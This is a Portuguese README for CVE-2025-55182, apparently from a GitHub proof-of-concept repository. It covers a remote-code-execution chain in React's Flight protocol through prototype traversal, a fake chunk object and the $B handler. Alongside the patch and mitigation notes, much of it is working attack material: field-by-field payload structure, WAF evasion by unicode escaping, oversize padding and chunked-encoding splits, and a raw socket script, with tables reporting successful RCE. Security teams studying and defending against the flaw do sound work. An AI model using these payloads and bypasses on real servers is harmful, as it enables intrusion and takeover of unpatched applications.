Prova de conceito técnica e análise aprofundada da CVE-2025-55182, uma vulnerabilidade crítica de RCE no Flight Protocol do React por meio de path traversal, injeção de chunks falsos e abuso do manipulador $B.
NOTA: Escrito por IA/Claude
https://github.com/ejpir/CVE-2025-55182-bypass
CVE-2025-55182 é uma vulnerabilidade crítica de RCE no Protocolo Flight do React. O ataque encadeia path traversal + injeção de chunk falsa + abuso do manipulador $B para executar Function(código_do_atacante).
Muito obrigado a maple3142 pela cadeia de exploração funcional!
O exploit usa três campos de formulário para construir um payload malicioso:
then autorreferente (campo 1 $@0 → campo 0)_response falso com _formData.get definido como $1:constructor:constructor$B que chama response._formData.get(response._prefix + id)_formData.get → Function, executando Function(code)┌─────────────────────────────────────────────────────────────────────┐ │ 1. Attacker sends multipart form with fake chunk object │ │ → decodeReply() parses form fields 0, 1, 2 │ │ → Object has: then, status, value, _response │ └─────────────────────────────────────────────────────────────────────┘ │ ▼ ┌─────────────────────────────────────────────────────────────────────┐ │ 2. Self-reference makes object thenable with real function │ │ → then: "$1:proto:then" → Chunk.prototype.then │ │ → Chunk.prototype.then(this) calls initializeModelChunk(this) │ │ → Uses this._response (attacker's fake _response) │ └─────────────────────────────────────────────────────────────────────┘ │ ▼ ┌─────────────────────────────────────────────────────────────────────┐ │ 3. parseModelString() handles "$B1337" reference │ │ → case "B": return response._formData.get(response._prefix+id) │ │ → Calls _formData.get with attacker's _prefix + "1337" │ └─────────────────────────────────────────────────────────────────────┘ │ ▼ ┌─────────────────────────────────────────────────────────────────────┐ │ 4. getOutlinedModel() resolves _formData.get (lazy evaluation): │ │ → "$1:constructor:constructor" traverses prototype chain │ │ → Returns Function constructor │ │ → Function(code + "1337") → RCE │ └─────────────────────────────────────────────────────────────────────┘
### Componentes Principais
| Componente | Propósito |
|-----------|-----------|
| `then: "$1:__proto__:then"` | Thenable autorreferente; o chunk 1 (`$@0`) aponta de volta para o chunk 0 |
| `status: "resolved_model"` | Faz o objeto parecer um chunk React válido |
| `reason: -1` | Define rootReference como undefined (evita conflitos de referência) |
| `value: '{"then":"$B1337"}'` | Payload aninhado que aciona o manipulador `$B` |
| `_response._prefix` | Contém a string de código RCE |
| `_response._chunks: "$Q2"` | Map vazio para evitar travamentos durante o processamento de chunks |
| `_response._formData.get` | Aponta para Function via `$1:constructor:constructor` |
### Análise Aprofundada dos Componentes
#### Estrutura do Campo do Formulário
O exploit usa três campos de formulário com referências circulares:```
Field 0: {"then":"$1:__proto__:then", "status":"resolved_model", ...}
Field 1: "$@0" ← references back to field 0
Field 2: [] ← empty array for _chunks Map
then)O then: "$1:__proto__:then" cria uma auto-referência que resolve para uma função real:```
$1:proto:then
↓
$1 → chunk 1 → "$@0" → getChunk(0) → Chunk object
↓
Chunk.proto.then → Chunk.prototype.then (actual function!)
**Por que isso é crítico:**
1. `then` se resolve para `Chunk.prototype.then` - uma função chamável real
2. Isso faz do objeto falso um thenable válido
3. Quando usado com await, JS chama `obj.then(resolve, reject)`
4. `Chunk.prototype.then` executa com o objeto falso como `this`:```javascript
Chunk.prototype.then = function (resolve, reject) {
switch (this.status) { // this.status = "resolved_model" ✓
case "resolved_model":
initializeModelChunk(this); // fake object passed!
initializeModelChunk(this) usa this._response - o _response falso do atacante:```javascript
value = reviveModel(
chunk._response, // ← attacker's fake _response!
...
);**Sem a autoreferência**, o falso `_response` nunca seria usado. A autoreferência faz com que `Chunk.prototype.then` trate o objeto do atacante como um Chunk real.
#### Gatilho Thenable de Dois Estágios (`value`)
O campo `value` contém uma string JSON aninhada com outro thenable:```json
{"then":"$B1337"}
Estágio 1: O then autorreferencial do objeto externo aciona o processamento de chunk
Estágio 2: Quando o React resolve o modelo, ele analisa value e encontra outro thenable com then: "$B1337". O prefixo $B aciona o manipulador:```javascript
case "B":
return response._formData.get(response._prefix + obj); // obj = "1337"
`_formData.get` é `"$1:constructor:constructor"` → `getOutlinedModel()` resolve para `Function`.
Isso se torna: `Function(code + "1337")` → JS válido porque `1337` é apenas uma expressão final.
#### Padding Defensivo (`_chunks`)
O falso `_response` precisa de uma propriedade `_chunks` válida para evitar falhas:```
Form field "2": [] ← empty array
_chunks: "$Q2" ← $Q = Map type, creates new Map([])
O código interno do React pode acessar response._chunks.get() ou response._chunks.has() durante o processamento. Um Map vazio satisfaz essas chamadas sem erros, permitindo que a execução alcance o manipulador $B vulnerável.
| Caminho | Função | Propósito no Exploit |
|---|---|---|
| Path Traversal | getOutlinedModel() | Resolve $1:constructor:constructor → Function |
Injeção de _response Falso | initializeModelChunk() | Usa o chunk._response do atacante |
Manipulador $B | parseModelString() | Chama _formData.get(_prefix + id) → RCE |
decodeReply() é o ponto de entrada, não vulnerável por si só.
Path Traversal (getOutlinedModel()):```javascript
for (key = 1; key < reference.length; key++)
parentObject = parentObject[reference[key]]; // No validation!
**Uso de Resposta Falsa** (`initializeModelChunk()`):```javascript
value = reviveModel(
chunk._response, // Uses chunk._response directly!
{ "": rawModel },
...
);
$B Manipulador RCE (parseModelString()):```javascript
case "B":
return response._formData.get(response._prefix + obj); // RCE!
---
## A Correção (19.2.1)
O patch inclui múltiplas correções:
1. **`RESPONSE_SYMBOL` em `initializeModelChunk()`** - Correção crítica ```javascript
// BEFORE: chunk._response (attacker can set via JSON)
value = reviveModel(chunk._response, ...);
// AFTER: Symbol lookup (cannot be forged via JSON)
var response = chunk.reason[RESPONSE_SYMBOL];
value = reviveModel(response, ...);
hasOwnProperty check in getOutlinedModel() - Bloqueia a travessia de protótipos ```javascript
hasOwnProperty.call(value, name) && (value = value[name]);
__proto__ em reviveModel() - Previne poluição de protótipo ```javascript
void 0 !== parentObj || "proto" === i
? (value[i] = parentObj)
: delete value[i];
initializeModelChunk() - Valida ouvintes ```javascript
"function" === typeof listener
? listener(value)
: fulfillReference(response, listener, value);
| Capacidade | Status | Notas |
|---|---|---|
| Travessia da cadeia de protótipos | ✓ Confirmado | Via $1:constructor:constructor |
| Acesso ao construtor Function | ✓ Confirmado | Nenhum manifesto necessário |
| RCE completo | ✓ Confirmado | Via chunk falso + manipulador $B |
Esta seção explica por que regras tradicionais de correspondência de padrões de WAF não conseguem detectar esta exploração de forma confiável. Compreender essas limitações é essencial para as equipes de segurança que avaliam sua postura defensiva.
O payload de exploração passa por vários analisadores sintáticos, cada um com suporte de codificação diferente. Um WAF inspecionando bytes HTTP brutos vê strings codificadas, mas o servidor as decodifica antes de processá-las:
| Camada | Analisador | Decodifica |
|---|---|---|
| Estrutura JSON | JSON.parse() | escapes unicode \uXXXX |
| Código JavaScript | Construtor Function() | \uXXXX, \xXX, octal, fromCharCode() |
Isso cria uma incompatibilidade fundamental: o WAF vê bytes codificados, mas a aplicação vê strings decodificadas.
Um WAF ingênuo pode procurar por padrões como constructor, __proto__, resolved_model ou child_process. No entanto, JSON permite escapes unicode para qualquer caractere:
| Padrão Literal | Equivalente Unicode | Detecção do WAF |
|---|---|---|
constructor | \u0063onstructor | Evadido |
__proto__ | \u005f\u005fproto\u005f\u005f | Evadido |
resolved_model | \u0072esolved_model | Evadido |
$@ (ref. circular) | $\u0040 | Evadido |
O código JavaScript dentro do payload tem ainda mais opções de codificação:
| Padrão | Opções de Codificação |
|---|---|
process | \u0070rocess, String.fromCharCode(112,114,111,99,101,115,115) |
child_process | \x63hild_process, códigos numéricos de caracteres, base64 |
| Qualquer identificador | Notação de colchetes: this[S(112,114,...)] onde S=String.fromCharCode |
Quando todas as técnicas de codificação são combinadas:
\u0074\u0068\u0065\u006e para then)S(99,104,105,108,100,95,...) para child_process)Um WAF escaneando o corpo HTTP vê apenas sequências de escape e números — nada que corresponda a assinaturas de ataque tradicionais.
O cabeçalho Next-Action identifica requisições de Server Actions. Embora nomes de cabeçalhos não possam ser codificados em unicode (RFC 7230 exige tokens ASCII), diferenças de normalização entre WAF e servidor criam lacunas de detecção:
| Variante | Comportamento do Servidor | Risco do WAF |
|---|---|---|
next-action (minúsculo) | Aceito (HTTP é case-insensitive) | Perdido se WAF espera caixa exata |
Next-Action:\tx (tab) | Aceito (espaço em branco normalizado) | Perdido se WAF espera espaço |
Next-Action: x (espaços) | Aceito | Perdido sem normalização |
A aplicação de patches é a única mitigação confiável. Regras de WAF não podem bloquear este ataque de forma abrangente devido à flexibilidade de codificação.
Versões necessárias:
Se o patch for adiado, considere:
\uXXXX, \xXX e normalizar chamadas fromCharCode() antes da correspondência de padrões_response, _prefix, _chunks ou referências circulares ($@0)next-action de forma case-insensitive com remoção de espaços em brancoNext-Action inteiramenteFunction() com argumentos de string dinâmicosConclusão principal: A correspondência de padrões sozinha falhará contra esta classe de ataque. A superfície de codificação é grande demais para ser enumerada.
Mesmo com regras abrangentes de WAF, o AWS WAF possui limites de tamanho de inspeção do corpo que podem ser explorados. Esta seção documenta técnicas de bypass testadas usando payloads superdimensionados.
O AWS WAF inspeciona apenas uma parte do corpo da requisição:
| Backend | Limite Padrão | Máximo Configurável |
|---|---|---|
| ALB / AppSync | 8 KB | 8 KB |
| CloudFront / API Gateway | 16 KB | 64 KB |
| Amazon Cognito / App Runner | 16 KB | 64 KB |
OversizeHandlingRegras de WAF especificam como lidar com requisições que excedem os limites de inspeção:
| Configuração | Comportamento | Explorável? |
|---|---|---|
CONTINUE | Inspeciona bytes disponíveis, avalia regra | Sim — payload após o limite não é inspecionado |
MATCH | Trata como correspondente (bloquear) | Não — bloqueia requisições superdimensionadas |
NO_MATCH | Trata como não correspondente | Sim — passa direto |
Se sua regra de WAF usa OversizeHandling: CONTINUE (padrão comum), o bypass é trivial.
Coloque dados de preenchimento inofensivos antes do payload de exploração para que ele fique fora da janela de inspeção:``` ┌─────────────────────────────────────────────────────────────────┐ │ Multipart Form Body │ ├─────────────────────────────────────────────────────────────────┤ │ [Field: padding] 65KB of 'A' characters │ │ ↑ WAF inspects first 8-64KB (sees only this) │ ├─────────────────────────────────────────────────────────────────┤ │ [Field: 0] {"then":"$1:proto:then", ...} │ │ [Field: 1] "$@0" │ │ [Field: 2] [] │ │ ↑ Exploit payload - beyond WAF inspection limit │ └─────────────────────────────────────────────────────────────────┘
### Resultados dos Testes
Todos os payloads superdimensionados alcançaram RCE com sucesso no Next.js:
| Tamanho do Padding | Corpo Total | Offset do Exploit | Resultado |
|--------------|------------|----------------|--------|
| 0 KB | 0.6 KB | 0.4 KB | ✅ RCE |
| 8 KB | 8.6 KB | 8.4 KB | ✅ RCE |
| 16 KB | 16.6 KB | 16.5 KB | ✅ RCE |
| 32 KB | 32.6 KB | 32.5 KB | ✅ RCE |
| 64 KB | 64.6 KB | 64.5 KB | ✅ RCE |
| 128 KB | 128.6 KB | 128.5 KB | ✅ RCE |
### Bypass de Codificação de Transferência Fragmentada
A codificação de transferência fragmentada HTTP/1.1 divide o corpo em partes discretas. Se o WAF inspeciona os fragmentos **antes** da remontagem, os padrões que abrangem os limites dos fragmentos não corresponderão.
#### Como Funciona```
HTTP Request with Transfer-Encoding: chunked
17f\r\n ← Chunk 1 size (hex)
...Content-Disposition: form-data; name="1"\r\n\r\n"$
\r\n
7b\r\n ← Chunk 2 size (hex)
@0"\r\n------WebKitFormBoundary...
\r\n
0\r\n\r\n ← Terminator
Padrão dividido entre partes:``` Chunk 1 ends with: ..."$ ← WAF sees "$" alone (no match for $@) Chunk 2 starts with: @0"... ← WAF sees "@" alone (no match for $@)
#### Estratégias de Fragmentação Testadas
| Estratégia | Descrição | Resultado |
|----------|-------------|--------|
| Split at `$@` | `"$` \| `@0"` | ✅ RCE |
| Fragmentos de 10 bytes | Corpo dividido a cada 10 bytes | ✅ RCE |
| Fragmentos de 5 bytes | Corpo dividido a cada 5 bytes | ✅ RCE |
| Dividir em `status` | `sta` \| `tus` | ✅ RCE |
Todas as estratégias alcançaram RCE com sucesso - Next.js remonta corretamente as requisições fragmentadas.
#### Exemplo de Socket Bruto```javascript
const net = require('net');
const socket = new net.Socket();
socket.connect(3000, 'localhost', () => {
// Headers with chunked encoding
socket.write([
'POST / HTTP/1.1',
'Host: localhost:3000',
'Content-Type: multipart/form-data; boundary=----WebKit',
'Transfer-Encoding: chunked',
'Next-Action: test',
'', ''
].join('\r\n'));
// Chunk 1: everything up to and including "$
const chunk1 = '...payload ending with "$';
socket.write(`${chunk1.length.toString(16)}\r\n${chunk1}\r\n`);
// Chunk 2: "@0" and rest of payload
const chunk2 = '@0"\r\n...rest of payload';
socket.write(`${chunk2.length.toString(16)}\r\n${chunk2}\r\n`);
// Terminator
socket.write('0\r\n\r\n');
});
| Tipo de WAF | Manipulação de Chunks | Possível Bypass? |
|---|---|---|
| AWS WAF (ALB) | Remonta antes da inspeção | Improvável |
| AWS WAF (CloudFront) | Remonta antes da inspeção | Improvável |
| Alguns WAFs legados | Inspeciona por chunk | Sim |
| Nginx ModSecurity | Configurável | Depende da configuração |
Nota: O AWS WAF normalmente remonta corpos fragmentados (chunked) antes da inspeção. No entanto, isso deve ser verificado por ambiente, pois as configurações variam.
OversizeHandling para MATCH ```json
"OversizeHandling": "MATCH"
Isso bloqueia qualquer solicitação que exceda o limite de inspeção quando as condições da regra são atendidas.
Aumentar o limite de inspeção do corpo (apenas CloudFront/API Gateway) Configure até 64 KB nas configurações da ACL web, mas isso não impede totalmente o bypass.
Adicionar regra de bloqueio baseada em tamanho
Bloquear requisições POST com cabeçalho Next-Action que excedam um tamanho razoável (ex.: 10 KB).
Corrigir a aplicação - A única solução completa.
Veja os scripts de teste incluídos:
test-simple.cjs - Teste de carga útil não fragmentada (baseline)test-oversize.cjs - Testa tamanhos de padding de 0 a 128 KBtest-chunked-v2.cjs - Codificação de transferência fragmentada com separação por $@test-chunked-bypass.cjs - Múltiplas estratégias de fragmentação (5 bytes, 10 bytes, divisões por padrões)Uso:```bash
cd nextjs-test && npm run dev
node test-simple.cjs # Baseline node test-oversize.cjs # Oversize body bypass node test-chunked-v2.cjs # Chunked $@ split node test-chunked-bypass.cjs # All chunking strategies
---
## Jornada de Pesquisa
### A Vulnerabilidade: Path Traversal```javascript
function getOutlinedModel(response, reference, parentObject, key, map) {
reference = reference.split(":");
var id = parseInt(reference[0], 16);
var parentObject = response.chunks[id];
// PATH TRAVERSAL - no hasOwnProperty check!
for (var key = 1; key < reference.length; key++)
parentObject = parentObject[reference[key]]; // VULNERABLE!
return map(response, parentObject);
}
Com payload "$1:constructor:constructor":
chunk[1]["constructor"] → [Function: Object]Object["constructor"] → [Function: Function]Embora tenhamos obtido Function, alcançar RCE requer chamá-la com argumentos controlados. Estes caminhos falharam:
1. Caminho Thenable (Bloqueado)```javascript // Attempt: { then: Function } // When awaited, V8 calls: Function(resolve, reject) // resolve.toString() = "function () { [native code] }" // Result: SyntaxError - invalid parameter name
**2. Caminho decodeAction (Bloqueado)**```javascript
// decodeAction always appends formData:
// Function.bind(null, "code").bind(null, formData)()
// = Function("code", "[object FormData]")
// Result: SyntaxError - "[object FormData]" is not valid JS body
3. Caminho do Iterador (Bloqueado)```javascript // Function.bind(null, code) needs TWO calls to execute // React only calls iterator once // Result: Returns bound function, doesn't execute
### O Avanço
maple3142 encontrou a peça que faltava: o manipulador `$B` + cadeia falsa de `_response`. Ao fazer `then` resolver para `Chunk.prototype.then` via autorreferência, o falso `_response` é utilizado, possibilitando RCE.
---
## Principais Descobertas
1. **`getOutlinedModel()` vulnerabilidade é real** - Caminhos separados por dois pontos permitem travessia da cadeia de protótipos
2. **Construtor de função é acessível** - `$1:constructor:constructor` funciona sem serverManifest
3. **RCE é alcançável** - Ao criar um chunk falso com `_response` controlado:
- Autorreferência `$1:__proto__:then` → `Chunk.prototype.then` faz com que o falso `_response` seja usado
- Estrutura do chunk falso imita a classe Chunk interna do React
- `_response._formData.get` → construtor `Function`
- `_response._prefix` → string de código malicioso
- O manipulador `$B` aciona `Function(malicious_code)`
4. **A correção é abrangente** - Múltiplas verificações `hasOwnProperty` e validações de tipo
---
## Referências
- [Gist do maple3142](https://gist.github.com/maple3142) - Descoberta da cadeia RCE
- [Advertência de Segurança do React](https://github.com/facebook/react/security/advisories)
- [Next.js CVE-2025-66478](https://nextjs.org/blog/cve-2025-66478)
- [msanft PoC](https://github.com/msanft/CVE-2025-55182)
- [react2shell.com](https://react2shell.com)
- [Regra AWS WAF](https://aws.amazon.com/security/security-bulletins/AWS-2025-030/)
---
## Aviso Legal
Este repositório é apenas para **pesquisa educacional e defensiva em segurança**. A vulnerabilidade foi corrigida. Atualize suas dependências imediatamente.